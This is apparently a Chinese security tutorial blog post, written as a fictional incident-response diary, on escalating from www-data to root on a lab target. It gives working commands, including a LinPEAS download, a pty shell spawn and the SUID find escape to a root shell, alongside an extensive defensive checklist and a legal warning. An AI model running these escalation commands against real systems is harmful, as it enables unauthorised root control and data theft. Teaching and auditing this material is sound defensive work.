周四晚上,应急响应的活:客户一台 Web 服务器被种了挖矿程序。我拿到 shell 一看,是 www-data——Web 服务的低权限用户。按理说它干不了什么,但挖矿程序在跑,说明攻击者已经提权了。
我花二十分钟找到了他用的路:一个 SUID 位的 find。攻击者没用什么 0day,他就用了一条命令,把权限从 www-data 提到了 root。
—— 网络安全 · 黑客日常 · CYLOG Linux提权入门 从 www-data 到 root:一条命令的距离 周四晚上
提权:临门一脚
拿到 www-data(Web 服务用户)≠ 拿下服务器。www-data 权限极低:不能写系统目录、不能读敏感文件、不能装软件。提权 = 利用系统配置错误/漏洞,把权限升到 root(或目标用户)。
2026 年上半年应急响应报告:超 60% 的 Web 服务器入侵事件中,攻击者最终拿到 root——其中三分之一靠的是「管理员忘了加固的提权点」:SUID 文件、sudo 配置错误、过期内核。
下面我们来做一下预演
在开始之前先搞懂:SUID 是什么
Linux 文件有三个权限位:读、写、执行。SUID(Set User ID)是执行位的特殊形态:一个带 SUID 的程序,运行时以文件属主的身份执行,而不是运行它的用户。
比如 /usr/bin/passwd 带 SUID 且属主是 root——普通用户运行它时,它临时以 root 身份改 /etc/shadow。这是设计好的。问题在于:如果管理员给 find、vim 这类能执行命令的程序也加了 SUID,那普通用户跑它,就等于以 root 身份执行命令——提权点就出来了。
好,原理懂了,继续
一、环境准备(先做对,再动手)
🖥️ 环境准备
靶机:Linux(DVWA 所在靶机或 Metasploitable 2) 假设:已通过 Web 漏洞(如 8/12 上传篇)获得 www-data 权限的交互 shell 攻击机:Kali Linux 提权枚举工具:LinPEAS(linpeas.sh)
$ bash
# 假设已通过 webshell 获得 www-data 权限
www-data@target:/var/www$ id
# 期望输出:uid=33(www-data) gid=33(www-data)
# 确认:低权限,接下来枚举提权点
⚠️ 错误预演(翻车现场)
拿不到交互 shell?①webshell 不是交互式的,用 python 弹一个:python3 -c 'import pty;pty.spawn("/bin/bash")';②www-data 的 PATH 可能不完整,命令用绝对路径 /usr/bin/id;③靶机连不上攻击机(反弹 shell 的 IP/端口写错)。
二、完整复现:LinPEAS 枚举到 root
$ bash
# 第一步:把 LinPEAS 传上靶机并执行
kali@attack:~$ curl -LO https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
kali@attack:~$ scp linpeas.sh www-data@靶机IP:/tmp/
# 靶机上执行(重点看颜色标记:红色=高危,黄色=可疑)
www-data@target:/tmp$ chmod +x linpeas.sh && ./linpeas.sh | tee /tmp/linpeas.txt
LinPEAS 报告关键行(节选):
══╣ SUID - Check easy privesc
-rwsr-xr-x root root /usr/bin/find ← SUID 提权点!
══╣ Sudo rules
(ALL) NOPASSWD: *** ← sudo 免密 vim!
══╣ Kernel
Linux version 2.6.24-16-server ← 内核版本过旧
→ 三条红色线索,任选一条即可提权
⚠️ 错误预演(翻车现场)
LinPEAS 下载失败/被墙?①GitHub 国内不稳可用镜像(ghproxy 等);②靶机无外网就把 linpeas.sh 用 base64 编码后粘贴传输:base64 linpeas.sh(攻击机)→ 靶机 echo 解码;③权限不足 chmod 失败就 sh linpeas.sh 直接跑。
$ bash
# 第二步:SUID 提权(find 提权)
www-data@target:/tmp$ find / -name "x" -exec /bin/sh -p \;
# 参数解释:find 以 SUID(root) 运行,-exec 里执行 /bin/sh,-p 保留有效UID
# 期望输出:拿到 root shell
root@target:/tmp# id
uid=0(root) gid=0(root) ← 提权成功
root shell 到手。攻击者此时:读 /etc/shadow、写 SSH 公钥留后门、清日志。防御视角:这个漏洞纯粹是管理员把 find 加了 SUID 位(本不该有),或系统默认配置未审计。
✅ 成功预演 · 结果解读
结果解读:两种路径(SUID/sudo)的共同点——系统给普通用户开放了「以 root 运行特定程序」的能力,而该程序又能执行命令。防御:sudo 规则最小化 + 定期审计 SUID(find / -perm -4000 2>/dev/null)。
预演之后,我们需要知道的事
一、新旧对比:配置错误提权 vs 内核漏洞【技术的迭代】
| 维度 |
配置错误提权(SUID/sudo) |
内核漏洞提权 |
| 原理 |
权限配置不当 |
内核代码缺陷(Dirty COW CVE-2016-5195、CVE-2022-0847) |
| 难度 |
低,一条命令 |
中高,需编译利用 |
| 成功率 |
取决于配置 |
取决于内核版本 |
| 2026 现状 |
仍是最常见路径(占 40%+) |
漏洞利用门槛升高,但过期内核仍易中招 |
二、我们的防御怎么落地
🛡️ 防御清单
① 审计 SUID:find / -perm -4000 2>/dev/null 定期排查,移除不必要的 SUID 位。 ② sudo 最小化:sudo -l 查看所有规则,删除 NOPASSWD 与危险程序(vim/less/find 等能执行命令的都不该免密)。 ③ 内核及时升级:过期内核(如 2.6.x)直接重装现代发行版。 ④ Web 服务降权:www-data 目录权限最小化,让第一步(webshell)都难拿到。 ⑤ 监控:auditd 记录 setuid/sudo 调用,异常提权行为告警。
$ bash
# 自查命令:
# 1. 找所有 SUID 文件:
find / -perm -4000 -type f 2>/dev/null
# 2. 看 sudo 规则:
sudo -l
# 3. auditd 监控 SUID 执行(关键规则):
# sudo auditctl -a always,exit -F perm=x -F auid>=1000 -k suid_exec
# 查看告警:sudo ausearch -k suid_exec | tail -20
auditd 日志会记录每一次 SUID 程序执行——攻击者用 find 提权的那一刻,日志里就有一行 auid 异常记录。提权不是无声的,前提是你装了耳朵。
最后:让我们回到那台被挖矿的服务器
攻击者用的那条命令我们留了样本。客户后来问我:要不要把 find 的 SUID 位去掉?我说:还要查 sudo 规则、内核版本、还有另外几百台机器。
提权靠的不是技术多神,而是系统里每一个「本不该存在的权限」。sudo 最小化 + SUID 清零,root 永远够不着。
⚖️ 法律与风险边界
法律与风险边界:提权成功后读 /etc/shadow、植入后门等行为,在未授权系统上涉嫌《刑法》第 285 条(非法获取计算机信息系统数据/非法控制计算机信息系统罪)。本文演示基于本地靶机与自建实验环境,请勿对生产系统执行。真实渗透测试的提权验证必须持书面授权,且一般验证到「存在提权路径」即可,不实际植入后门。
📚 延伸阅读
延伸阅读: ① GTFOBins(SUID/sudo 提权命令大全)— gtfobins.github.io ② LinPEAS 官方仓库 — github.com/peass-ng/PEASS-ng ③ CVE-2016-5195 Dirty COW / CVE-2022-0847 Dirty Pipe — nvd.nist.gov ④ OWASP 权限提升测试 — owasp.org(WSTG)
— · END · —
🔐 本日志仅用于网络安全教学 · 请勿用于非法用途
虚构日记 · 时间地点人物均已虚拟化 · 防御永远比攻击更有价值